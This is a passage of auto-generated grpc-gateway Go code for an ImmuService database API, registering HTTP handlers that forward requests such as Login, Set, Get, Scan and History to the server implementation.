&protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TruncateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.TruncateDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\n// RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to \"mux\".\n// UnaryRPC     :call ImmuServiceServer directly.\n// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906.\n// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead.\nfunc RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ListUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ListUsers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ListUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CreateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangePassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ChangePassword_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangePassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangePermission_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ChangePermission_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangePermission_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_SetActiveUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SetActiveUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Logout_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Logout_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Logout_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Set_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Set_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Set_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableSet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Get_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableGet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Delete_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_GetAll_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ExecAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ExecAll_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ExecAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Scan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Scan_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Scan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Count_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Count_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Count_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CountAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CountAll_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CountAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_TxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_TxById_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_VerifiableTxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableTxById_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableTxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_TxScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_TxScan_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TxScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_History_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_History_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_History_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ServerInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ServerInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ServerInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Health_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_Health_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, 